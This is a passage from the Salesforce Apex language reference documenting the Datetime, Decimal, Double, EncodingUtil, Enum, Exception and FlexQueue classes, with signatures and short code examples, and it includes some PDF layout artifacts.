public static Datetime valueOfGmt(String dateTimeString)
Parameters
dateTimeString
Type: String
Return Value
Type: Datetime
Usage
The specified string should use the standard date format “yyyy-MM-dd HH:mm:ss” in the GMT time zone.
Example
// California locale time
string year = '2009';
string month = '3';
string day = '5';
string hour = '5';
string minute = '2';
string second = '2';
string stringDate = year + '-' + month + '-' + day + ''+ hour + ':'
+ minute + ':' + second;
Datetime myDate = Datetime.valueOfGMT(stringDate);
DateTime expected = DateTime.newInstance(2009, 3, 4, 21, 2, 2);
System.assertEquals(expected, myDate);
year()
Returns the year component of a Datetime in the local time zone of the context user.
2244
Datetime ClassReference
Signature
public Integer year()
Return Value
Type: Integer
Example
DateTime dt = DateTime.newInstance(2012, 1, 26, 5, 2, 4);
System.assertEquals(2012, dt.year());
yearGmt()
Returns the year component of a Datetime in the GMT time zone.
Signature
public Integer yearGmt()
Return Value
Type: Integer
Example
DateTime dt = DateTime.newInstance(2012, 10, 4, 6, 4, 6);
System.assertEquals(2012, dt.yearGMT());
Decimal Class
Contains methods for the Decimal primitive data type.
Namespace
System
Usage
For more information on Decimal, see Primitive Data Types on page 27.
IN THIS SECTION:
Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.
Decimal Methods
2245
Decimal ClassReference
Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.
Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid
values for roundingMode.
DescriptionName
Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as
the UP rounding mode; if the result is negative, it behaves the same as the DOWN rounding
mode. Note that this rounding mode never decreases the calculated value. For example:
CEILING
•Input number 5.5: CEILING round mode result: 6
•Input number 1.1: CEILING round mode result: 2
•Input number -1.1: CEILING round mode result: -1
•Input number -2.7: CEILING round mode result: -2
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -1, -2};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.CEILING));
}
Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior
to executing. Note that this rounding mode never increases the magnitude of the calculated
value. For example:
DOWN
•Input number 5.5: DOWN round mode result: 5
•Input number 1.1: DOWN round mode result: 1
•Input number -1.1: DOWN round mode result: -1
•Input number -2.7: DOWN round mode result: -2
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -1, -2};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.DOWN));
}
Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as
theDOWN rounding mode; if negative, this mode behaves the same as the UP rounding mode.
Note that this rounding mode never increases the calculated value. For example:
FLOOR
•Input number 5.5: FLOOR round mode result: 5
•Input number 1.1: FLOOR round mode result: 1
•Input number -1.1: FLOOR round mode result: -2
•Input number -2.7: FLOOR round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -2, -3};
2246
Decimal ClassReference
DescriptionName
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.FLOOR));
}
Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case
this mode rounds down. This rounding mode behaves the same as the UP rounding mode if
HALF_DOWN
the discarded fraction (decimal point) is > 0.5; otherwise, it behaves the same as DOWN rounding
mode. For example:
•Input number 5.5: HALF_DOWN round mode result: 5
•Input number 1.1: HALF_DOWN round mode result: 1
•Input number -1.1: HALF_DOWN round mode result: -1
•Input number -2.7: HALF_DOWN round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_DOWN));
}
Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case,
this mode rounds towards the even neighbor. This rounding mode behaves the same as the
HALF_EVEN
HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal point) is
odd. It behaves the same as the HALF_DOWN rounding method if it is even. For example:
•Input number 5.5: HALF_EVEN round mode result: 6
•Input number 1.1: HALF_EVEN round mode result: 1
•Input number -1.1: HALF_EVEN round mode result: -1
•Input number -2.7: HALF_EVEN round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_EVEN));
}
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly
over a sequence of calculations.
Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case,
this mode rounds up. This rounding method behaves the same as the UP rounding method if
HALF_UP
the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method behaves the
same as the DOWN rounding method. For example:
•Input number 5.5: HALF_UP round mode result: 6
•Input number 1.1: HALF_UP round mode result: 1
•Input number -1.1: HALF_UP round mode result: -1
2247
Decimal ClassReference
DescriptionName
•Input number -2.7: HALF_UP round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_UP));
}
Asserts that the requested operation has an exact result, which means that no rounding is
necessary. If this rounding mode is specified on an operation that yields an inexact result, a
MathException is thrown. For example:
UNNECESSARY
•Input number 5.5: UNNECESSARY round mode result: MathException
•Input number 1.1: UNNECESSARY round mode result: MathException
•Input number 1.0: UNNECESSARY round mode result: 1
•Input number -1.0: UNNECESSARY round mode result: -1
•Input number -2.2: UNNECESSARY round mode result: MathException
Decimal example1 = 5.5;
Decimal example2 = 1.0;
system.assertEquals(1,
example2.round(System.RoundingMode.UNNECESSARY));
try{
example1.round(System.RoundingMode.UNNECESSARY);
}catch(Exception E) {
system.assertEquals('System.MathException', E.getTypeName());
}
Rounds away from zero. This rounding mode always truncates any fractions (decimal points)
prior to executing. Note that this rounding mode never decreases the magnitude of the calculated
value. For example:
UP
•Input number 5.5: UP round mode result: 6
•Input number 1.1: UP round mode result: 2
•Input number -1.1: UP round mode result: -2
•Input number -2.7: UP round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -2, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.UP));
}
Decimal Methods
The following are methods for Decimal.
2248
Decimal ClassReference
IN THIS SECTION:
abs()
Returns the absolute value of the Decimal.
divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified
scale.
divide(divisor, scale, roundingMode)
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified
scale, and if necessary, rounds the value using the rounding mode.
doubleValue()
Returns the Double value of this Decimal.
format()
Returns the String value of this Decimal using the locale of the context user.
intValue()
Returns the Integer value of this Decimal.
longValue()
Returns the Long value of this Decimal.
pow(exponent)
Returns the value of this decimal raised to the power of the specified exponent.
precision()
Returns the total number of digits for the Decimal.
round()
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
round(roundingMode)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode
specified by the rounding mode.
scale()
Returns the scale of the Decimal, that is, the number of decimal places.
setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding
mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.
setScale(scale, roundingMode)
Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.
stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.
toPlainString()
Returns the String value of this Decimal, without using scientific notation.
valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.
2249
Decimal ClassReference
valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.
valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.
abs()
Returns the absolute value of the Decimal.
Signature
public Decimal abs()
Return Value
Type: Decimal
Example
Decimal myDecimal = -6.02214129;
System.assertEquals(6.02214129, myDecimal.abs());
divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified
scale.
Signature
public Decimal divide(Decimal divisor, Integer scale)
Parameters
divisor
Type: Decimal
scale
Type: Integer
Return Value
Type: Decimal
Example
Decimal decimalNumber = 19;
Decimal result = decimalNumber.divide(100, 3);
System.assertEquals(0.190, result);
2250
Decimal ClassReference
divide(divisor, scale, roundingMode)
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale,
and if necessary, rounds the value using the rounding mode.
Signature
public Decimal divide(Decimal divisor, Integer scale, System.RoundingMode roundingMode)
Parameters
divisor
Type: Decimal
scale
Type: Integer
roundingMode
Type: System.RoundingMode
Return Value
Type: Decimal
Example
Decimal myDecimal = 12.4567;
Decimal divDec = myDecimal.divide(7, 2, System.RoundingMode.UP);
System.assertEquals(divDec, 1.78);
doubleValue()
Returns the Double value of this Decimal.
Signature
public Double doubleValue()
Return Value
Type: Double
Example
Decimal myDecimal = 6.62606957;
Double value = myDecimal.doubleValue();
System.assertEquals(6.62606957, value);
format()
Returns the String value of this Decimal using the locale of the context user.
2251
Decimal ClassReference
Signature
public String format()
Return Value
Type: String
Usage
Scientific notation will be used if an exponent is needed.
Example
// U.S. locale
Decimal myDecimal = 12345.6789;
system.assertEquals('12,345.679', myDecimal.format());
intValue()
Returns the Integer value of this Decimal.
Signature
public Integer intValue()
Return Value
Type: Integer
Example
Decimal myDecimal = 1.602176565;
system.assertEquals(1, myDecimal.intValue());
longValue()
Returns the Long value of this Decimal.
Signature
public Long longValue()
Return Value
Type: Long
Example
Decimal myDecimal = 376.730313461;
system.assertEquals(376, myDecimal.longValue());
2252
Decimal ClassReference
pow(exponent)
Returns the value of this decimal raised to the power of the specified exponent.
Signature
public Decimal pow(Integer exponent)
Parameters
exponent
Type: Integer
The value of exponent must be between 0 and 32,767.
Return Value
Type: Decimal
Usage
If you use MyDecimal.pow(0), 1 is returned.
The Math.pow method does accept negative values.
Example
Decimal myDecimal = 4.12;
Decimal powDec = myDecimal.pow(2);
System.assertEquals(powDec, 16.9744);
precision()
Returns the total number of digits for the Decimal.
Signature
public Integer precision()
Return Value
Type: Integer
Example
For example, if the Decimal value was 123.45, precision returns 5. If the Decimal value is 123.123, precision returns 6.
Decimal D1 = 123.45;
Integer precision1 = D1.precision();
system.assertEquals(precision1, 5);
Decimal D2 = 123.123;
Integer precision2 = D2.precision();
system.assertEquals(precision2, 6);
2253
Decimal ClassReference
round()
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.
Signature
public Long round()
Return Value
Type: Long
Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
Example
Decimal D = 4.5;
Long L = D.round();
System.assertEquals(4, L);
Decimal D1 = 5.5;
Long L1 = D1.round();
System.assertEquals(6, L1);
Decimal D2 = 5.2;
Long L2 = D2.round();
System.assertEquals(5, L2);
Decimal D3 = -5.7;
Long L3 = D3.round();
System.assertEquals(-6, L3);
round(roundingMode)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified
by the rounding mode.
Signature
public Long round(System.RoundingMode roundingMode)
Parameters
roundingMode
Type: System.RoundingMode
2254
Decimal ClassReference
Return Value
Type: Long
scale()
Returns the scale of the Decimal, that is, the number of decimal places.
Signature
public Integer scale()
Return Value
Type: Integer
Example
Decimal myDecimal = 9.27400968;
system.assertEquals(8, myDecimal.scale());
setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding
mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.
Signature
public Decimal setScale(Integer scale)
Parameters
scale
Type: Integer
The value of scale must be between –33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to
the power of the negation of scale. For example, after this operation, the value of d is 4*10^3.
Decimal d = 4000;
d = d.setScale(-3);
Return Value
Type: Decimal
Usage
If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.
•If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
•If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
2255
Decimal ClassReference
•If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number
of characters after the decimal point.
Example
Decimal myDecimal = 8.987551787;
Decimal setScaled = myDecimal.setscale(3);
System.assertEquals(8.988, setScaled);
setScale(scale, roundingMode)
Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.
Signature
public Decimal setScale(Integer scale, System.RoundingMode roundingMode)
Parameters
scale
Type: Integer
The value of scale must be between –33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to
the power of the negation of scale. For example, after this operation, the value of d is 4*10^3.
Decimal d = 4000;
d = d.setScale(-3);
roundingMode
Type: System.RoundingMode
Return Value
Type: Decimal
Usage
If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.
•If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
•If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
•If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number
of characters after the decimal point.
stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.
Signature
public Decimal stripTrailingZeros()
2256
Decimal ClassReference
Return Value
Type: Decimal
Example
Decimal myDecimal = 1.10000;
Decimal stripped = myDecimal.stripTrailingZeros();
System.assertEquals(stripped, 1.1);
toPlainString()
Returns the String value of this Decimal, without using scientific notation.
Signature
public String toPlainString()
Return Value
Type: String
Example
Decimal myDecimal = 12345.6789;
System.assertEquals('12345.6789', myDecimal.toPlainString());
valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.
Signature
public static Decimal valueOf(Double doubleToDecimal)
Parameters
doubleToDecimal
Type: Double
Return Value
Type: Decimal
Example
Double myDouble = 2.718281828459045;
Decimal myDecimal = Decimal.valueOf(myDouble);
System.assertEquals(2.718281828459045, myDecimal);
2257
Decimal ClassReference
valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.
Signature
public static Decimal valueOf(Long longToDecimal)
Parameters
longToDecimal
Type: Long
Return Value
Type: Decimal
Example
Long myLong = 299792458;
Decimal myDecimal = Decimal.valueOf(myLong);
System.assertEquals(299792458, myDecimal);
valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.
Signature
public static Decimal valueOf(String stringToDecimal)
Parameters
stringToDecimal
Type: String
Return Value
Type: Decimal
Example
String temp = '12.4567';
Decimal myDecimal = Decimal.valueOf(temp);
Double Class
Contains methods for the Double primitive data type.
2258
Double ClassReference
Namespace
System
Usage
For more information on Double, see Primitive Data Types on page 27.
Double Methods
The following are methods for Double.
IN THIS SECTION:
format()
Returns the String value for this Double using the locale of the context user
intValue()
Returns the Integer value of this Double by casting it to an Integer.
longValue()
Returns the Long value of this Double.
round()
Returns the closest Long to this Double value.
valueOf(stringToDouble)
Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.
valueOf(fieldValue)
Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents
a Double value.
format()
Returns the String value for this Double using the locale of the context user
Signature
public String format()
Return Value
Type: String
Example
Double myDouble = 1261992;
system.assertEquals('1,261,992', myDouble.format());
2259
Double ClassReference
intValue()
Returns the Integer value of this Double by casting it to an Integer.
Signature
public Integer intValue()
Return Value
Type: Integer
Example
Double DD1 = double.valueOf('3.14159');
Integer value = DD1.intValue();
system.assertEquals(value, 3);
longValue()
Returns the Long value of this Double.
Signature
public Long longValue()
Return Value
Type: Long
Example
Double myDouble = 421994;
Long value = myDouble.longValue();
System.assertEquals(421994, value);
round()
Returns the closest Long to this Double value.
Signature
public Long round()
Return Value
Type: Long
2260
Double ClassReference
Example
Double D1 = 4.5;
Long L1 = D1.round();
System.assertEquals(5, L1);
Double D2= 4.2;
Long L2= D2.round();
System.assertEquals(4, L2);
Double D3= -4.7;
Long L3= D3.round();
System.assertEquals(-5, L3);
valueOf(stringToDouble)
Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.
Signature
public static Double valueOf(String stringToDouble)
Parameters
stringToDouble
Type: String
Return Value
Type: Double
Example
Double DD1 = double.valueOf('3.14159');
valueOf(fieldValue)
Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents a
Double value.
Signature
public static Double valueOf(Object fieldValue)
Parameters
fieldValue
Type: Object
2261
Double ClassReference
Return Value
Type: Double
Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to a Double type, like a number field.
Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'NumberOfEmployees') {
Double oldValue =
Double.valueOf(ah.OldValue);
Double newValue =
Double.valueOf(ah.NewValue);
}
EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.
Namespace
System
Usage
Note: You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce. You can, however,
download a document from Salesforce. To do so, query the ID of the document using the API query call, then request it by ID.
EncodingUtil Methods
The following are methods for EncodingUtil. All methods are static.
IN THIS SECTION:
base64Decode(inputString)
Converts a Base64-encoded String to a Blob representing its normal form.
base64Encode(inputBlob)
Converts a Blob to an unencoded String representing its normal form.
convertFromHex(inputString)
Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.
2262
EncodingUtil ClassReference
convertToHex(inputBlob)
Returns a hexadecimal (base 16) representation of the inputBlob. This method can be used to compute the client response (for
example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).
urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example
“UTF-8.”
urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example
“UTF-8.”
base64Decode(inputString)
Converts a Base64-encoded String to a Blob representing its normal form.
Signature
public static Blob base64Decode(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Blob
base64Encode(inputBlob)
Converts a Blob to an unencoded String representing its normal form.
Signature
public static String base64Encode(Blob inputBlob)
Parameters
inputBlob
Type: Blob
Return Value
Type: String
convertFromHex(inputString)
Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.
2263
EncodingUtil ClassReference
Signature
public static Blob convertFromHex(String inputString)
Parameters
inputString
Type: String
The hexadecimal string to convert. The string can contain only valid hexadecimal characters (0-9, a-f, A-F) and must have an even
number of characters.
Return Value
Type: Blob
Usage
Each byte in the Blob is constructed from two hexadecimal characters in the input string.
The convertFromHex method throws the following exceptions.
•NullPointerException — the inputString is null.
•InvalidParameterValueException — the inputString contains invalid hexadecimal characters or doesn’t contain
an even number of characters.
Example
Blob blobValue = EncodingUtil.convertFromHex('4A4B4C');
System.assertEquals('JKL', blobValue.toString());
convertToHex(inputBlob)
Returns a hexadecimal (base 16) representation of the inputBlob. This method can be used to compute the client response (for
example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).
Signature
public static String convertToHex(Blob inputBlob)
Parameters
inputBlob
Type: Blob
Return Value
Type: String
urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example “UTF-8.”
2264
EncodingUtil ClassReference
Signature
public static String urlDecode(String inputString, String encodingScheme)
Parameters
inputString
Type: String
encodingScheme
Type: String
Return Value
Type: String
Usage
This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the
from \"%xy\". For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.
urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example
“UTF-8.”
Signature
public static String urlEncode(String inputString, String encodingScheme)
Parameters
inputString
Type: String
encodingScheme
Type: String
Return Value
Type: String
Usage
This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see
The form-urlencoded Media Type in Hypertext Markup Language - 2.0.
Example
String encoded = EncodingUtil.urlEncode(url,'UTF-8');
2265
EncodingUtil ClassReference
Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides
built-in enums, such as LoggingLevel, and you can define your own enum.
All Apex enums, whether user-defined enums or built-in enums, have the following common method that takes no arguments.
values
This method returns the values of the Enum as a list of the same Enum type.
Each Enum value has the following methods that take no arguments.
name
Returns the name of the Enum item as a String.
ordinal
Returns the position of the item, as an Integer, in the list of Enum values starting with zero.
Enum values cannot have user-defined methods added to them.
For more information about Enum, see Enums on page 35.
Example
Integer i = StatusCode.DELETE_FAILED.ordinal();
String s = StatusCode.DELETE_FAILED.name();
List<StatusCode> values = StatusCode.values();
Exception Class and Built-In Exceptions
An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom
exceptions. All exceptions have common methods.
All exceptions support built-in methods for returning the error message and exception type. In addition to the standard exception
class, there are several different types of exceptions:
The following are exceptions in the System namespace.
DescriptionException
Any problem with an asynchronous operation, such as failing to enqueue an
asynchronous call.
AsyncException
Any problem with a Web service operation, such as failing to make a callout to an
external system.
CalloutException
Any problem with a DML statement, such as an insert statement missing a required
field on a record.
DmlException
Any problem with email, such as failure to deliver. For more information, see Outbound
Email.
EmailException
Any problem with external object records, such as connection timeouts during attempts
to access the data that’s stored on external systems.
ExternalObjectException
2266
Enum MethodsReference
DescriptionException
An invalid parameter was supplied for a method or any problem with a URL used with
Visualforce pages. For more information on Visualforce, see the Visualforce Developer's
Guide.
InvalidParameterValueException
A governor limit has been exceeded. This exception can’t be caught.LimitException
Any problem with JSON serialization and deserialization operations. For more
information, see the methods of System.JSON, System.JSONParser, and
System.JSONGenerator.
JSONException
Any problem with a list, such as attempting to access an index that is out of bounds.ListException
Any problem with a mathematical operation, such as dividing by zero.MathException
Any problem with unauthorized access, such as trying to access an sObject that the
current user does not have access to. This is generally used with Visualforce pages. For
more information on Visualforce, see the Visualforce Developer's Guide.
NoAccessException
Any problem with data that does not exist, such as trying to access an sObject that has
been deleted. This is generally used with Visualforce pages. For more information on
Visualforce, see the Visualforce Developer's Guide.
NoDataFoundException
This exception is thrown if you try to access items that are outside the bounds of a list.
This exception is used by the Iterator next method. For example, if
NoSuchElementException
iterator.hasNext() == false and you call iterator.next(), this
exception is thrown. This exception is also used by the Apex Flex Queue methods and
is thrown if you attempt to access a job at an invalid position in the flex queue.
Any problem with dereferencing null, such as in the following code:
String s;
s.toLowerCase(); // Since s is null, this call causes
// a NullPointerException
NullPointerException
Any problem with SOQL queries, such as assigning a query that returns no records or
more than one record to a singleton sObject variable.
QueryException
A Chatter feature is required for code that has been deployed to an organization that
does not have Chatter enabled.
RequiredFeatureMissing
Any problem with SOSL queries executed with SOAP API search() call, for example,
when the searchString parameter contains less than two characters. For more
information, see the SOAP API Developer's Guide.
SearchException
Any problem with static methods in the Crypto utility class. For more information, see
Crypto Class.
SecurityException
Any problem with the serialization of data. This is generally used with Visualforce pages.
For more information on Visualforce, see the Visualforce Developer's Guide.
SerializationException
Any problem with sObject records, such as attempting to change a field in an update
statement that can only be changed during insert.
SObjectException
Any problem with Strings, such as a String that is exceeding your heap size.StringException
2267
Exception Class and Built-In ExceptionsReference
DescriptionException
Any problem with type conversions, such as attempting to convert the String 'a' to an
Integer using the valueOf method.
TypeException
Any problem with a Visualforce page. For more information on Visualforce, see the
Visualforce Developer's Guide.
VisualforceException
Any problem with the XmlStream classes, such as failing to read or write XML.XmlException
The following is an example using the DmlException exception:
Account[] accts = new Account[]{new Account(billingcity = 'San Jose')};
try {
insert accts;
}catch (System.DmlException e) {
for (Integer i = 0; i < e.getNumDml(); i++) {
// Process exception here
System.debug(e.getDmlMessage(i));
}
}
For exceptions in other namespaces, see:
•Canvas Exceptions
•ConnectApi Exceptions
•DataSource Exceptions
•Reports Exceptions
•Site Exceptions
Common Exception Methods
Exception methods are all called by and operate on a particular instance of an exception. The table below describes all instance exception
methods. All types of exceptions have the following methods in common:
DescriptionReturn TypeArgumentsName
Returns the cause of the exception as an exception object.ExceptiongetCause
Returns the line number from where the exception was
thrown.
IntegergetLineNumber
Returns the error message that displays for the user.StringgetMessage
Returns the stack trace as a string.StringgetStackTraceString
Returns the type of exception, such as DmlException,
ListException, MathException, and so on.
StringgetTypeName
Sets the cause for this exception, if one has not already been
set.
VoidException causeinitCause
Sets the error message that displays for the user.VoidString ssetMessage
2268
Exception Class and Built-In ExceptionsReference
DMLException and EmailException Methods
In addition to the common exception methods, DMLExceptions and EmailExceptions have the following additional methods:
DescriptionReturn TypeArgumentsName
Returns the names of the field or fields that caused the error
described by the ith failed row.
String []Integer igetDmlFieldNames
Returns the field token or tokens for the field or fields that
caused the error described by the ith failed row. For more
information on field tokens, see Dynamic Apex.
Schema.sObjectField []Integer igetDmlFields
Returns the ID of the failed record that caused the error
described by the ith failed row.
StringInteger igetDmlId
Returns the original row position of the ith failed row.IntegerInteger igetDmlIndex
Returns the user message for the ith failed row.StringInteger igetDmlMessage
Deprecated. Use getDmlType instead. Returns the Apex
failure code for the ith failed row.
StringInteger igetDmlStatusCode
Returns the value of the System.StatusCode enum. For
example:
try {
insert new Account();
System.StatusCodeInteger igetDmlType
}catch (System.DmlException ex) {
System.assertEquals(
StatusCode.REQUIRED_FIELD_MISSING,
ex.getDmlType(0));
}
For more information about System.StatusCode, see Enums.
Returns the number of failed rows for DML exceptions.IntegergetNumDml
FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.
Namespace
System
Usage
You can place up to 100 batch jobs in a holding status for future execution. When system resources become available, the jobs are taken
from the top of the Apex flex queue and moved to the batch job queue. Up to five queued or active jobs can be processed simultaneously
for each org. When a job is moved out of the flex queue for processing, its status changes from Holding to Queued. Queued jobs are
executed when the system is ready to process new jobs.
2269
FlexQueue ClassReference
Use this class’s methods to reorder your Holding jobs in the flex queue.
Example
This example moves a job in the flex queue so that it is executed immediately before the specified job in the queue. Ensure that you
have jobs in the flex queue before execution. To move the job, call the System.FlexQueue.moveBeforeJob() method and
pass it both jobs’ IDs.
ID jobToMoveId = System.enqueueJob(new MyQueueableClass());
AsyncApexJob a = [SELECT Id FROM AsyncApexJob WHERE ApexClassId IN
(SELECT Id from ApexClass WHERE NamespacePrefix = null
AND Name = 'MyBatchClass')];
ID jobInQueueId = a.ID;
Boolean isSuccess = FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
IN THIS SECTION:
FlexQueue Methods
SEE ALSO:
Monitoring the Apex Flex Queue
Using Batch Apex
FlexQueue Methods
The following are methods for FlexQueue.
IN THIS SECTION:
moveAfterJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can
move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception.
Returns true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change
is made.
moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can
move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception.
Returns true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change
is made.
moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the job’s starting position move
one spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or
false if the job is already at the end of the queue, so no change is made.
moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the
queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of
the queue, so no change is made.
2270
FlexQueue ClassReference
moveAfterJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can move
jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns
true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change is made.
Signature
public static Boolean moveAfterJob(Id jobToMoveId, Id jobInQueueId)
Parameters
jobToMoveId
Type: Id
The ID of the job to move.
jobInQueueId
Type: Id
The ID of the job to move after.
Return Value
Type: Boolean
moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can move
jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns
true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change is made.
Signature
public static Boolean moveBeforeJob(Id jobToMoveId, Id jobInQueueId)
Parameters
jobToMoveId
Type: Id
The ID of the job to move.
jobInQueueId
Type: Id
The ID of the job to use as a reference point.
Return Value
Type: Boolean
2271
FlexQueue ClassReference
moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the job’s starting position move one
spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if
the job is already at the end of the queue, so no change is made.
Signature
public static Boolean moveJobToEnd(Id jobId)
Parameters
jobId
Type: Id
